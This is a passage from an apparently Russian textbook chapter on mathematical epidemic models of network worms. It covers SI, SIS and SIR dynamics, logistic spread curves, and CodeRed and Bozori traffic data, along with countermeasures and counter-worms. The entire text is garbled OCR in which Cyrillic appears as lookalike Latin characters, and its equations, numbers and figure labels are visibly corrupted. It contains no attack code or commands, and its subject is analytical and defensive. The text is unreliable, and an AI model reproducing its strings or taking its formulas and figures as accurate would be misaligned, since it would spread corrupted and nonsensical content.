llepBbiH noaxoa uepeajiHCTHHeH, 3aTO nocjieaniiH  BnojiHe m ojkct 6biTb 
pea.iH30BaH cjieayromHM 06pa30M. I lycT b  Kaacawii sroeM njiap  nepBa, pa3- 

mhojkhbui neb, aejiHT aapecHoe npocTpaHCTBo nonojiaM. B nepBoii nojio- 

BHHe oh npoaoJi>KaeT pa3MHoacaTbca caM, a «BTopoe nojm apcTBa* OTnaeT 

b Hac.ie/tcTBO CBoeii Konnn. CJieayiomHii aicr pa3MH0>KeHHa n p m eaeT  k 

hobom v aeaenHK) cjiparMeHTOB aapec h or o npocxpaHCTBa 11 t .  a-, noKa Becb 

MHTepHeT He OKaacerca 3apaaceHHbiM.

H. YnBep npeanojiosKHJi, mto Ha npaKTHKe Bpaa jih  Bee 6binaeT nacTOJib- 

ko H/ieajibHo, h H3VHHJI noBeaeHHe HeKoero « c y 6onrHM ajibHoro» nepBa, 

KOTOpbm BbinOJIHHCT Bcero HecKOJibKO pa3MH03KeHHH B MHHyTy, nOJIOBH- 

Hy BpeMeHH paccbiJiaeTca no 3apaHee cocTaBJieHHOMy c im cK y yaaBHMbix 
MauiHH (h it lis t ) 11 jiH iiib nOTOM pa6oTaeT no « 6bicTpoM y» anropHTMy cKa- 

HHpoBaHHa aapecHoro npocTpaHCTBa, npm eM  HaxoaiiT h ycn eiim o hik|jh- 

m ipyeT  chctcm v TOJibKO b 25% cjiynaeB. TeM He Menee, corjiacHO pacMeTaM, 

Bca ya3BHMaa 'racTb HHTepHeTa OKaaa.iacb 6bi 3apajKeHHoii sthm  nepBCM 

Bcero 3a neTBepTb naca. <sB Syaym eM  KaatflbiH nojiyHHT cboh uiaHC Ha 

15 m hhvt cjiaBbi», -  cKa3aji oflHaacflbi (n o  apyroM y noBoay) 3  nan Yop- 

XOJI, 3HaMeHHTbIH aMepHK3HCKHH (j)OTOXVaO>KHHK. MmCHHO 3Ty m iTaTy 

H. YHBep BbiHec B 3iinrpa(J) CTaTbH, nocBameHHoft H3yieHHK) cbohctb  

CBoero «cynepHepB«». C Tex nop ninoTeTH'iecKHe nepBH, Beay m ue ce6a 

noaoonbiM  o6pa30M, TaK h HasbiBaroTCJi -  m epeu  Yopxajia» (h jih  «6j iu u ,~ 
K puz-nepeut). IlMeHTe b BHay, caM S n an  Yopxo ji, yMepum fi b KOHiie 

1980-x  roaoB , HHKaKiix MepBeM HHKoraa He DHcaa!
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K cnacTb io , itoaoGhmx HepBeii B o o 6 m e  n o n a  He cym ecTB yeT . Pea jibH b ie  

nepBH H c n o jib sy io T  coB ceM  f lp y r a e ,  6 0 Jiee n p o cT b ie  CTparernn pa3MHO- 

aceHHH.

7.3.12. SI-Modejib pa3MHOMcenuH e ycjioeimx 
ogpauuHeMHOcmu pecypcoe
PeajibHbie iiHTepneT-MepBii (Net-Worm.Win32.CodeRed, Net- 

Worm.Win32.Slammer h MHorae ;ipyrne) Mciiojib3yioT c;iyMaHHyfo 
CTpaTerHio noncKa ueJieii 3apa:*eHna. B  s t o h  CHTyauHH HeMiiHyeM 
onpe/te^eHHbiii npoqeHT « x o j i o c t o h »  pa6oTU, Kor/ia HepBb HanpacHo Tpa- 

t h t  BpeMa Ha nonbiTKH 3apa;*eHHa paH ee  yace 3apaaceHHoro ys/ia. H  s t o t  

n p on eH T  Bee B 03pacTaeT n o  M epe  p a 3 B n n ia  sraiaeM H H  h  yM eH binenH a 

AOJIH BOCnpHHMHHBbIX y3JIOB.

O o p w a jib H O  b t o  03HanaeT, h t o  BepoaTHOCTb y c n eu iH o ro  pa3MHoace- 

HHa n ep B a  cocTaB JiaeT  B cero  m b  P (t )  = S (t )/ N  = 1 -  I ( t )/ N ,  171 e N  -  
n o jiH o e  K0 .THMecTB0 , 1(t) -  KOJinnecTBO 3apa>KeHHbix, a S (t) = N — I ( t )  — 
KOJIHHeCTBO 3AOpOBbIX, HO BOCnpiIHMHHBblX K 3apa>KeHHfO y3JIOB CeTH. 
Tor^a n p n p am eH H e  KOJmnecTBa n ep B e fi Ha 6ecKOHeMHO M ajioM  HHTep- 

Ba.iie BpeMeHii cocTaBHT AI  = / (f )  (3(1 -  I(t )/N )A t, a AHcJxJiepeHuiiajibHoe 
ypaBH eH H e, n p ii6 jn iaceH H O  o im cb iB a io m ee  flHHaM HKy annfleM HH, 3am i- 

rn eTca  TaK:

/

<D
Pmc. 7.14 ❖ CM eH a c o c t o a h m m  

b SI-MOfle/in c  orpaHnneHMeM 
pe cyp co B

at

Peiuemie s t o f o  ypaBHeHHH, BnepBbie paccM O TpeH H oro b cepe/um e 

X IX  BeKa IT. ® . Oepno.ibCTQM, BbirjWAHT cJie/iyiomHM 06pa30M:

1
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3 i i e c b  K O H C T aH T a C  =  ~ 4 l n ( — ------ — )  n 0 3 B 0 .H H eT  y n e c T b  n a M a j ib n o e  v c -
P h  N

jiOBiie 1 ( 0 )  = /0. T o  ecn> aaecb h aa jiee  KOHCTaHTa C  hbjih ctch  koscJjcJmi- 

mieHTOM, «HacTpanBaromnM» ypaBHeHHe Ha jcomcpeTHbie I0 h N. Tpa(J)HK 
(JjyHKumi I ( t )  -  TaK Ha3biBae\iaH «jioracTHHecKaa KpHBan», K0T0paa Ha 

HaHajibHOM 3Tane Be;teT cecw iioa ooh o  aKcnojienTe, ho iio tom  3aMe/tim- 

c t  pocT h npn t  —> 00 cTpeMHTCJi k  acHMnTOTe A n . H a  pnc. 7 . 1 3  BapiiaH- 

Tbt 3T0H KpHBOH H3o6pa»CeHbI DO/I HOMepOM ( 2 ) .  T a K H M  06pa30M, n p n  

6oJibnmx pa3Mepax ceTH Bcerzia npncyTCTByeT neoojibm oe ko jih hcctbo  

y3.i0B, ocTaiomHXCH b He3apaaceHH0M coctoh h h h  Heonpe/iejieHiio f l o . i r o e  

BpeMH.

T o ,  mto 3Ta Moaejib cooTBeTCTByeT AcflcTBHTejibHocTH, mo>kho npoBe- 

pHTb, CpaBHHB BH/I H 3 o 6 p a > K eH H b IX  BblUie KpHBbIX ( 2 )  C rpa(J)HKOM pa3BH- 
th h  annfleMHH HepBH N e t -W o r m . W in 3 2 .C o d e R e d .b ,  KOTopbin nocTpoeH  

no aaHHbiM, 3aperacTpHpoBaHHbiM 1 9 - 2 0  aBrycTa 2 0 0 1  roaa  ynacTHHKa- 
mh npoeicra CAIDA.

400000

350000

300000

250000

200000

150000

100000
50000

00 00

Pmc. 7 .1 5  ❖  fluHaMMKa pa3MHOxeHMfl 
nepBfl CodeRed II

IlapaMeTpHHecKaH HjieHnuJaiKanHH sto h  moac.th (t o  ecTb no/(6 op napa- 

MeTpoB no/i peaibfibie aaHHwe) flaeT caeziyiomue 3naMeHHH: N  ~  3 5 0  0 0 0 , 

P  =  1 , 5-5-2, I 0 ~  1 .  K c T a r a ,  Me pea HeKoropoe BpeMH N e t -W o r m . W in 3 2 .  

C o d e R e d .b  caM0 yniiMT0 >KHJicH, TaK mto «HH_repecHOH 6 opb6 bis> c hhm He 

nojiyMH.nocb.

1 B  f lo c T y iw o f t  jn -rrep a T y p e, K aK  npaB H Jio, n c o i e A y e T c a  n o B e a e n n e  o T H o m e m w  

I ( f ) / N ,  IKSTO M V K p iIB U e aCH M IITO Tm eCKH  CTpe.VMTCH K 1.
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7.3.1.3. SIS-Modejib npuMumueuozo npomueodeucmeim
KoMnbiOTepHwe aimaeMHH pe^KO npoteKaroT 6eccHMiiTOMHO. B pe- 

3yjibraTe aa»ce npn oTcyxcTBHH a^cJjeKTOBHoro aHTHBnpyca n0Jib30BaTe- 
jih Bee paBHo 3aMeMaK>T HeJiaAHoe h  nhrraiOTCH 6opoTbca c «6ojie3Hbio». 
HanpHMep, y^ajiaioT «3apa3y» c KOMnbiOTepa BpynHyio, KaK mu s to  a e - 
jiaiiH b rjiaBe, nocBameHHOH HsyneHHio ceTeBbix MepBeft. A flJia nepBeii 
Tima N et-W orm .W in 3 2 .S lam m er hjih N e t-W orm .W in 3 2 .C od eR ed  
flocTaTOMHO npocTo nepe3arpy3HTb MauiHHy, h BpeaoHocHaa nporpaM
Ma, cymecTByiomaa TojibKo b naMHTH, nora6HeT. H o b pe3VJibTaTe sthx  
/teiicTBHH iiMMVHHTeTa npoTHB «3apa3H» y KOMnbiOTepa He noaBHTca, 
ii cjie^yiom ee 3apa*:eHHe MoaceT cocroaTbca 6yKBajibHo qepe3 ceKyHay 
nocjie «H 3JieHeHHa>. B >khboh npHpoae Toace TaK 6biBaeT. HanpHMep, y 
MejioBeKa, nepe6ojieBiuero roHopeeii, He Bbipa6aTbiBaeTca HHKaKoro hm- 
MyHHTeTa.

IIoflo6HWH cneHapiiii fljia MHpa KOMnbiOTepHbix ceTeif onncbiBaeTca 
SIS-MOflejibK), b cooTBercTBHM c KOTopofi npeflnojiaraeTca, hto:

O 3apaaceH iie  BhinojmaeTca nepBCM, maymHM ije/iH cjiyHaHHbiM 06-

O yaajieHHe nepBH npoH3Bo;iHTCH «aapecHO», t o  ecTb TOJibKo a jih  Tex 
MauiHH, m e yepBb peajibHO npucyTCTByeT.

TaKHM 06pa30M, B03M0aceH nepexoa KaK H3 cocToaHHa S b I, TaK h Ha- 
o6opoT.

B pe3yjibTaTe pa3MHO>KeHHe MepBa nponcxoflHT «JiorHCTHHecKii» c ko- 
3<J)(J)HUHeHTOM P, a y;iajienne -  « 3KcnoHeHHnajibH0»- c K034x})HiiHeHT0M 
y 3K3eMnjiap0B b eaHHHuy BpeMeHH. /Tjina.MHKa sni-i/ieMHH onncbiBaeTca 
f l « 4x|>epeHUnajibHbiM ypaBHeHHeM

pa30M ;

Phc. 7 .1 6  ❖ CMeHa coctoahmm 
B SIS-MOfle/lM

HMeioiUHM pemeHHe 

ri .  \ P -Y
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1 B v  8rae KOHCTaHTa C  = ----   In (—------- --n03B0JiaeT yjiOBJieTBopnTb Ha-
Y -P  4  [<> N

Ha.fibHOMy ycaoBH K ) 1 ( 0 )  =  70. H o h h th o ,  h to  npn y  >  P  arm/ieMHa n p ocT o  

He B03HHKHeT. B nporaBH O M  c jiyn a e  rpac^MK (fjyHKLiHH I ( t )  n o -n p e *H e M y  

npeacTaB.>weT c o 6 o h  «J iorH C TO H ecKyio » KpHByro, KOTOpaa npH t  —> °° 
crpeM H Tca He N, a k acHMnTOTe ( 1  -  y / p ) x  N  (cm . pnc.. 7 . 1 3 ) .  TaKHM 0 6 - 

pa30M, «cy/ib6a »  a im aeM H n  3 3 b h c h t  o t  c o o th o ih c h h h  p =  y/P- BejuiHHHy 

p0, xap aK Tep ii3 y iom yK ) rpaHHuy M eacay cirryaHHHMH o rm a e M H a  B03HH- 

K a eT » i i  «3 ro ia eM H a  HeB03M0»CHa», Ha3UBaioT am ideM uuecKUM  nopozoM .

TaKHM 06pa30M, hcm 6b icTpee h  n am e nojn>30BaTejiH y a a jia io T  HepBeii 

CO CBOHX KOMIIblOTepOB. TeM  OOJIblUC UiaHCOB o6y3/iaTb SroiaeMHIO. A  BaM 

c jia o o  BpyM Hyio «HHCTHTb» KOMnbiDTepbi c o  C K opocrb io  x o T a  6bi n o  iiiT y- 

Ke b  ceK V H ay?

7 .3 .1 .4 . S IR -M o d e jib  K eajiu<puu,upoeaH H ou 6 o p b 6 u

H.rm  T o r o  h t o 6h  p ea jibH o  cnpaB H Tbca c arinaeM HeH, hv>kho noc/ ie H3- 

JieneHHa KOMnbiOTepa o t  «3 a p a 3 b i» TeM h jih  h h h m  06pa30M  o6ecneH H Tb 

eM y HMMyHHTeT n p o ra B  c jieay io iH H X  3apa»ceHHH. J lyn rn e  B cero  n ocTa- 

BHTb «3 a n jiaT K V », 3aK pb iB aiom yio  y a 3BHM0 CTb. H o  m o »ch o  h  n p o cT o  3a- 

6 ji0KH p0BaTb HOKeaaTeJibHbiH Tpac|>HK n p n  m oiuh (JjaftpBojijia (6 p a n a -  

M a y a p a ) .

Z [jia  T o ro  m to o m  onucaTb  cooTB eTC TB yiom yio  MO/iejib 6opb6b i c ceTeBOH 

aim aeM H eft, KpoM e a b v x  c o c to m h h h  S h I, H eo6xo;m M O  B B ecra  TpeTbe -  
R (R e m o v e d ) ,  cooTBeTCTByiom ee KOMnbicTepy, KOTOpblH He TOJibKO «3 ^ o - 

p o B »,  h o  h  HeBocnpHHMHiiB k  «3 a p a 3 e » . Pa3yMeeTCH, S +  I +  R =  N. I lp e a -  

noJiaraeTca , h t o :

O  3apaaceHne B b in o jm aeTca  nepBCM, H m ym iiM  He jih  c jiyn a im b iM  06- 
pa30M;

O  yfla jieH H e nepBa np0H3B0/iHTca «az ipecH O », to  ecTb TOJibKO ju ia  Tex  

MarniiH, r/te nepBb p ea jibH o  npHcyTCTBycT;

O  n o c jie  « i ic u e J ie H iia »  y s e j i  ceTH n ep exo^ H T  b  H eB ocnp in iM H iiB oe co- 

cToaHHe.

Pmc. 7.17 ♦> CMeHa cocTOAHMpi 
b SIR-MOfle/iH

3 t v  M oae jib  6opb6b i c ann/ieM neii neB«3Mo>KHo orracaTb b Bii/ie eauii- 
CTBeH iioro aHtJxJjepennHajibHoro ypamiemm. npHXO/um:>i paccM aTpn-
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BaTb h x  CHCTeMy, BnepBbie npeflJ ioaceH H yio h  H3yqeH H y io  b  1927 r o a y

B. O. KepMaKOM (Kermack) h A. E MaKKeimpHKOM (McKendrick):

a m  j N - m - m )

I  n  J " " < 0 '

d R ( Q ---

CHCTeMa H e HM eeT anaJiHTHM ecKoro pem eHHH, ii03T0M y npHxoflHTCH 

flOBO-TbCTBOBaTbCH HHC.TeHHMM IipHOJIH^KeHHeM. 3nH fleM HH B03HHKaeT 

JiHiiib npn v c j io b h h  y <  P ,  t o  ecTb  anHAeMHHecKHH nopor p 0 =  1 .  B  s tom  

c jiy q a e  I ( t )  cuana/ia H eKO Topoe BpeMH B03pacTaeT n o  «J i0 racTH 4 ecK 0M y» 

3aKOHy. f lo c r a r a e T  CBoero MaKCHMyMa, a noTOM CTpeMHTCH k  0  - cm. Ha

pnc. 7 . 1 3  KpH Bw e n o a  HOM epoM  ( 4 ) .

AaeKBaraa n a  3Ta MOfle.Tb? C y a u x e  caMH: b o t  k o jih m cctb o  aTaK Ha 
n o p T  4 4 5 ,  cBH 3aH H ux c aeHTe/ibHocTbro wepBH Net-Worm. W in32. Bozo- 
r i  h  3 ap em cT pn p oB aH H b ix  Ha npoTH^ceHHH JieTa 2 0 0 5  -  3hmm 2 0 0 6  ro - 

a a  VHacTHHKaMH H eKO M M epnecKoro n poe icra  DShield (p n cyH O K  He- 
CKOJibKO BHaoHSMeneii a a n  nyojiHKaiiHH). H a  s to m  p n cyH K e ypoBeH b 

4 0  0 0 0  0 0 0  aTaK -  s to  cf)0H0B0e 3HaneHHe, re n ep n p ye M o e  a p yn iM H  rana- 
mh HepBCM h  cayMaHHMM TpacJ)HKOM, a Bee npeBbiuieHHH xapaK Tep ii.iyroT  

aeftcTBH e nepBH.

11000000 
10000000 
09000000 
08000000 
07000000 
06000000 
05000000 
04000000 
03000000 
02000000 
01000000 
00000000

06.07.05 21.08.05 04.10.05 17.11.05 31.12.05 13.02.05

Pm c . 7 .1 8  ❖ CeTeBOM Tpa<t>nKMepe3 nopT 445 
bo BpeMq annfleMMki nepBH Bozori

TaKHM  06pa30M, b yc jioB H H x S IR -M O fleJ iii n o 6 e a a  Ha;i qepBe.M hocth- 
raeTCH b ; iiooom c jiyn ae . CpoKH stoto coohthh 3aBHCHT ot cooTHom eHHH 

y/p . H a  ueJiHMHHy p  phaobm m  n0Jib30BaTeJiHM noBJiHHTb cjitokho, a bot 
y iie .in 'iH T b  y  Biiojine peajibHo, e ca n  BceM M HpoM  KaK mo>kho 6wcTpee
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cKaHHBaTb h  ycraHaBJiHBaTb «3ariJ iaTKH ». B n pon eM , aa jieico  He Bee n o jib - 

30BaTejiH ToponMTCH npn6jin>KaTb noG eay. Tan , n o  M aTepiia/iaM  C A ID A ,  
n o  HCTeneHHH n ep B oro  M ecau a n o c jie  aKTHBaimH Net-Worm.Win32. 
CodeRed a o jw  «n pon aTM eH H b ix» onepanM O H iib ix cncTeM  cocTaBHJia: 

B BejiHKo6pHTaHHH -  65%, b C I I I A  -  60%, Ha T a fe a H e  -  15%, a b K h -  

Tae  -  TOJibKO 13%.

7.3.1.5. IIpoHue Modejiu anudeMuii
Pa3yM eeTC fl, Jiio6bie M oae.ra  .rau ib  npn6jiM3MTeJibHO onncb iB a ioT  /ui- 

HaMHKy anHfleMHH, c j ih iiik o m  y>K m h o t o  pa3H oo6pa3H bix (})aKT0p0B b jih h - 

io t  Ha pacnpocTpaH eH H e nep ijeH  n o  ceTH. Ilp H n eM  HepeaKO s t h  (|)aKTopw 

AeftcTB y ioT  b  n p oT H B on o jio »:H b ix  HaripaBJieHHflx. B o t  HeKOTOpbie H3 h h x :

O n o  M epe pa3BHTHtf s iih a gm h h  B03pacraeT  ceTeBOH Tpa(f>HK, cHH>Ka- 

eTca  n pon ycK H an  cn o co oH o cT b  jih h h h  cb ji3h  h  na/iaeT 3HayeHHe 

K03(J)(J)HHHeHTa 3;
O s4x|)eKTHBHbie aHTHBHpycHbie cpeacTB a paspaoaTH B aioTca  h  Ha- 

HHHaioT pa6oTy c 3aaep;*CKOH b HecKOJibKO nacoB h jih  cyxoK , c o o t -  

BeTCTBeHHO Ha pa3Hbix 3Tanax pasBHTHa s iih a cm h h  npHMeHHMbi 

pasH bie Moae.>iH;

O HM eeTca n pw pocT  r a c j ia  N  3a cneT  MauiHH, BHOBb n oaK jnon aeM bix  

k  c e ra ;

O  c a p y r o i i  CTopoHbi, H aojnoaaeTC fl yM eH bm cH iie  A 's a  cneT  OTKjnone- 

h h h  neperpyjKeH H M X x o c t o b  h  cepBepoB ;

O BeJIHMHHa ,VH3MeHfleTCH B 33BHCHMOCTH OT BpeMeHH CyTOK nO CH- 

H yc o iifle  -  hhcm  B03pacraeT, hohbk i naaaeT;

O onpeiteJieH H aa nacTb m s i i ih h  coaep jK H T  «Bpo>KaeHHbiH » h m m y h h - 

TeT (H anpH M ep, 3a cneT ncn0Jib30BaKna He3HaKOMUx n epB io  Bep- 

c h h  on ep am io H H o ii CHCTeMbi);

Q  3aT0 a p y ra a  nacTb vh 3 b h m h x  MarniiH n o  pa3HHM ii npHHHHaM np oc
To HHKor/ia He BaKUHHHpyeTCH Boo6me h, 6yayHH 3apa»ceHH0H, 

npoaoji>KaeT n poa o ju K irre jib H oe  BpeM a «(J>OHHTb»;

O  HM eeT M ecTo neo/(HopoziHocTi. npocTpaHCTBa lP -a a p eco B .

K  HacTOHujeMy M O M em y p a 3p a 6 0 TaH0  6 o jib iu o e  kojihhcctbo  pa3Ho- 

o6pa3H bix MOflejxefi, nbiTarou iH xca yq ecT b  b jih h h h c  s th x  4 »K T o p o B . B o jib -  

UIIIHCTBO H3 HHX JiBJIHIOTCH OOOOIUeHHHMH 11 /lonOJIHeHHaMH SIR-M OfleJIH  

K epM aK a-M aK K eH ^pH K a. B o t  HeKOTOpbie, H an fio jiee  n on y jin p H b ie  cpean  

B H p yco jio roB  M oaejm .

SEIR -M oae.Tb HH/uiiina V iv e k  K u m ar Sehgal [5 8 ] riHTaerca yuecTb Ha- 

jiHMne aojiroBpeMeHHo zieHCTByioiuHx 3K3eMiuiHpoB Biipyca cjieayiomHM  

06pa30M: c aoBOJibHO Ma.ioii. ho  HefiyaeBoii BepoaTHocTbio P  b momcht
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HHcjjHOHpoBaHHH M auiH H a nepexo/iHT He b  cocToaHHe I, a b  ajiwepHaTHB- 

Hoe cocTO H H H e E (E x p o s e d ), ripHneM  CKopocTb 8 n e p e xo ^a  H3 c o c t o h h h h  

E b  cocTO H H H e R HeBejiHKa. Ta K H M  06pa30M, Bee m h o j k c c t b o  h h <J)h u h -  

poBaH HM X MarniiH pa36n B aeTca  b  xoae smi/teMHH Ha ABa KJiacca: 1)  Te, 

KOTopbie o ne paTH B H O  HCuejiflioTCfl h  B a K m im ip y io T c a ; 2 ) Te, K 0 T0 p w e  

npo ^oJiacaioT n o r a x o H b K y  paccbuiaTb no M iip y  «3 a p a 3 y » b  TeHeHHe m h o -  

n i x  M ecaneB h  aa>Ke .neT. /loBOJibHO peajiHCTHHH aa c m y a n n a , He Ta K  mi?
«riporpeccHBHaa» SIDR-MO^ejib (P S ID R ),  pa3pa6oTaHHaa J. Leveille 

H3 H  P Bristol [48 ,73 ], VMHTbiBaeT aBa oocTosrrejibCTBa: 1 ) Ha paHHeM 3Ta- 
ne pa3BHTHH annaeMHH, npojjoJi>KHTejibHocTb KOToporo n  e/ininm BpeMe- 
Hii, /jeHCTByeT KJiaccnnecKaa SI-MOfle^b; 2 ) aajibHeiiuiee pa3BHTHe 3nn- 
fleMHH onHCbiBaeTca npH noMomn BBefleHiia, KpoMe coctohhhh S, I  h R, 
AonojiHHTejibHoro coctohhhh D (D etected ), b KOTopoe nepexoflHT y3eJi, 
Korua HajiHHiie MepBa yace 06Hapy»ceH0, ho aKTHBHoe npoTHBoaeHCTBHe 
eme He Hanajiocb. 3apa»ceHHe h H3.rie4eHHe y3JioB ceTH BunoJiHaioTca no- 
npe>KHeMy co cpe/iHHMH CKopocTaMH P h y, a nepexoa H3 cocToaHHa I 
b «n p 0Me>KyT0HH0e »  cocToaHHe D -  co cKopocTbio fi ysjioB b eaHHimy 
BpeMeHH.

<s/lByx(|)aKTopHaji» Moaejib [76], npezuio>KeHHaH rpynnoii aBTopoB H3 
M T M  (Zhow , Gong, Tow sley a  ap.), He bbosh t HHKaKHx /jonoJinHTe/ib- 
HUX COCTOHHHH, no CpaBHeHHK) C. KJlaCCHMeCKOH SIR-MOfle/lblO, 3aT0 
yHHTMBaeT He TOJibKO npouecc npoTHBoaeiicTBiia «3apa3e» (nepBHH 
(jjaKTOp), HO H HenOCTOaHCTBO CKOpOCTH pa3MH0^CeHHH P (BTopoii (])aK- 
Top), BW3BaHHoe neperpy3Koft jihhhh CBH3H. B pa3JiHMHbix BapnanTax 
s toh  Moae.TO npHHHMaioT jih6o P(/) = KfiKtK ' , rue 0 < K <  1, jih 6o ao- 
6aBJiaioT k cHCTeMe aH(|)<J>epeHijHa;ibHoe ypaBHeHHe Bii/ja P(r) = P0( 1 -  
-  I ( t ) ) ” , rae r| -  HeKiiii napaMeTp, n03B0Jiai0mHH «HacTpoHTb» 3aK0H 
noBeaeHHa p.

Paa Moae.ieii yHHTbiBaioT raKvKe HepaBHOMepHOCTb pacnpeae.neHHa 
v3jiob b ceTH. B 2006 r. rpynnoii HccjieaoBaTejieft hs yHHBepcHTeTa IOjk- 
hoh Ka.'nitjxipHHM (K3. IIpaflKHH h J. Heidem ann) 6h ji  ripoBezien s k c - 

nepHMeHT no «ruiHroBaHHto» Bcero Hm-epHeTa [56]. MHTepecHO, hto 
61% aapecoB TaK h He OTK.riHKHy.iHCb Ha ICMP-3anpocbi. Pa3yMeeTca, 
CHTyamia nocToaHHo MeHaeTca h 3aBiic.HT o t  reorpacJiHMecKoro nojio- 
jKeHiia cerMeHTOB cera, ce30Ha, BpeMeHH cvtok, HacTpoeK 6e3onacHocTii 
h t. n. Ho b o6meM ninHHHaa KapTa nayra/i Bbi6paHHoro cerMeHTa fle- 
MOHcrpiipyeT rpynnnpoBaHHe «>KHBbix> aapecoB b onpe/ie.ienHbix 30- 
Hax. A  racTorpaMMa pacnpeaejieHHa /yum HenpepuBHbix ynacTKOB npn 
3tom nJi;nocTpHpyeT npeBa.’iHpoBauHe KopoTKiix nenoneK ajihhoh Bcero 
2h-10 aapecoB (cm. pnc. 7.19).
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a 6

Pmc. 7 .1 9  ❖ HepaBHOMepHOCTb «xmbux» IP-aflpecoB 
b cerMeHTax HHTepHeTa: a) TunnMHafl «KapTa» cerMeHTa:

6) TMrmsHaH rktcTorpaMMa pacnpefle/ieHMfl ajimh HenpepuBHbix uenoneK

3 t 0  OOCTOHTeJIbCTBO x o p o u io  H3BeCTHO BHpyCOmiCaTejTHM, nOSTOMV 

HeKOTOpbie ceTeBbie HepBH n cn o jib 3 y io T  h jih  n on cK a  u e jie ii  npuHUHri 

<sCKaHiipoeaHUJi JiOKonbHou nodcem u»  (h j ih  n p o cT o  <noKCUVbHozo cm H u po - 
e a n u R » ) .  OcHOBHan H flea  oneHb HanoM HHaeT MCToiiHKy H rpbi b  «m o p c k o h  

6 (m » :  b M H TepneTe cjiynaHHbiM  06pa30M  Bbi6HpaeTca IP -a a p e c  (H a n p H 

Mep, A), n  e c jin  cooTBeTCTByio inhh y3 e ji c e r a  o tk jih k h v jic h ,  t o  aao/iHO 

CKaHHpyioTca h  3apaacaioTca e ro  OKpecTH O cra ( c  aapecaM H  A+l, A-l, 
A+2, A-2 i i  t .  r i.), a o  T ex  n op  n oK a  Becb «K o p a 6 jib »  He oy/ieT «n o T o n j ie n » .  

3aTeM  o iM T b  n p o H cx oa n T  n e p e x o a  k  cJiynaHHOH «C T p e jib 6 e ». HeHTO n o - 

a o 6 n o e  /leMOHCTpupoBaji, HanpHM ep, MepBb Net-Worm.Win32.Lovesan: 
c BepoaTHOCTbK) 0.6 HCKaji b ceTH  cjiynaHHbiH  6a30Bbitt IP -a a p e c  BHfla 

AAA.BBB.CCC.O, a c BepoHTHOCTbro 0.4 «o6pa6aTb iB aJ i» OKpecTHOcra 

a T o ro  aapeca .

M oaeJ ibH bie 3KcnepHMeHTbi, npoB ezien n w e pa3HbiMH KOJiJieKTHBaMH 

n cc jieaoB aT e jie ii, He B bw oiu iH  HHKaKHX npHHUHmiaJibHbix o t j ih t o h  b pa3- 

BHTHH 3imneMHH TaKHX HepBCH, n o  CpaBHemilO C ^TpaaHUHOHHblMHP .

7.3.1.6. Modejiupoeanue Mep naccuenozo 
npomueodeucmetiH
3KCIiepH M eH TH  C KJiaCCHMeCKHMH MOfleJIHMH pacnpOCTpaHeHHH 'ie p -  

Beii HaTOJiKHyjni HCCJie/ioBaTeacH Ha H aero «n accH B H b ix » .viep npoTHBO- 

fle ilcTB u a  3nnaeM HflM . H a n G o j i e e  o o m n i i  n o a x o a  3aKraoHaercH b a i v r o -
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ManraecKOM orpaHiraeHHH h  saace iio j ih o m  6jiokhpob3hhh xpacJjHKa, 

ncxoAHm ero H3 3apa>KeHHoro y3 .ua cera. 3 Ta 3aflana flOJUKHa pemaTbca 
MejKceTeBMMH sKpanaMH. Mo/iejiHpoBaHHe noKa3ajio, h t o  nozio6 Hbie 
Mepw aeficTBHTejibHO cnoco6 HM Ha nopa/tOK yMeHbiiiHTb cKopocTb pa3- 
BHTHH ceTeBbix SnHflCMIIH. H o  KaK OTJIHHHTb 3apaJKeHHbIH y3ejl OT 3flO- 

poBoro?
HanpHMep, b C00TBeTCTBHH c npeflJioaceHHeM M . BnjibHMcoHa ( W il

liam son) CMHTaTb 3apa>KeHHbIM V3JI0M MO^KHO TOT, KOTOpblH B eflHHHIjy 

BpeMeHH nbrraeTCH BbinojiHHTb cjihiiikom  6ojib iuoe KOJiHnecTBO coe/iH- 

HeHHH c pa3HbiMH aapecaMH [73 ], K o m p o jib  3a «6ojrryHaM H» mojkho 

0praHH30BaTb b cfiopMe hckoh kbotm  Ha yHHKajibHbie coeam ieHHfl, bbi- 

ae jw eM oii KaacflOMy y3Jiy. ITpn ycTaHOBJienim y3JioM coeflHHemra c IP- 
azipecoM, paHee He BCTpe'iaBiiiHMoi b cnncKe, H3 kbotm  BbiHHTaeTca 

e/tHHHiia, n o  AocTHJKetiHM nyjm  jno6bie HOBue coefliiHeHHH npocTo 6 jio- 

KHpyioTCH. M  Hao6opoT, ecjin  y 3e .11 flo jiroe  BpeMa He coBepuiaji yHHKajib- 

HblX COCflHHeHHH, TO «eflHHHHKH» nOTHXOHbKy 6y/IVT CMV /lOOaBJIHTbCJI. 

HaflO OTMeTHTb, HTO XOTH 3Ta WRen H BbHTIHflHT pa6oTOCnOCo6HOH /IJLH 

o&biHHbix xo c tob , k  cepBepaM ee, no-BH^HMOMy, iipMMetmTb ne.ibaa.
Z lpyran M/iex npHHaflJieauiT rpynn e Hccjie/ioBaTejieft (Schech ter, Jung, 

B erger h flp .), KOTopbie npe/uioacHJiH CHHTan, sapajKemibiM y 3Ji0M to t ,  

KOTOpblil nblTaeTCH COBepiUHTb CJIHIIIKOM MHOrO HeynaHHblX COeaHHCHHH, 

HanpHMep c «MepTBbiMH» azipecaMii [57 ].

BnponeM, Bee s th  H je ii  TaK h  ocTanncb Ha cTpaHHuax CTaTefl h  k h h i '.

7.3.1.7. Modejiupoeanue « Koumpnepeji*-
/lOBOJIbHO nJIOflOTBOpHOH npeflCTaBJIHeTCH Haea HCn0JIb30BaHHH B Ka- 

necTBe cpejcTB a 6opb6u  c HHTepHeT-nepBHMH ap y rn x  HepBen. HaaejieH- 

HMX aHTHBHpyCHbIM (ftyHKHHOHaJIOM. Beflb «KOHTpnepBb» -  3TO OHeHb 

npocTo: 3anycTHJi e ro  b MHTepeeT h ch;ui. acflii HacTynjiemiH OKOHHa- 

TejibHOH h 6ecn0B0p0TH0H no6e;ibi Hazi sm ifleM Heii /ipyroro, « iu io x o ro »  

nepBH. Hepe3 HeKOTopoe BpeMH, Koraa nooejia 6yaeT  /tocTnrHyra, «KOHTp- 

nepBb» npocTo caMOJiHKBH^HpyeTCH, 11 Bee Ha stom .

IlonblTOK HCn0JIb30BaTb T3KOH IlOilXO/I Ha npaKTHKe 6bUIO HecKOJib

KO. HanpHMep, jx j ih  6opb6bi c Net-Worm.Win32.CodeRed.b njiaH iipo- 

Bajiocb H c n0jib3 0B aTb «K oH TpH epBeft^ Net-Worm.Win32.CodeGreen 
h Net-Worm.Win32.CRclean, HanHcaHHbix iickhmh Der HexXer h 

Markus Kern c00TBeTCTBeHH0. O/maKO s th  «Jiene6Hbie m «iB K n » cym ecT- 

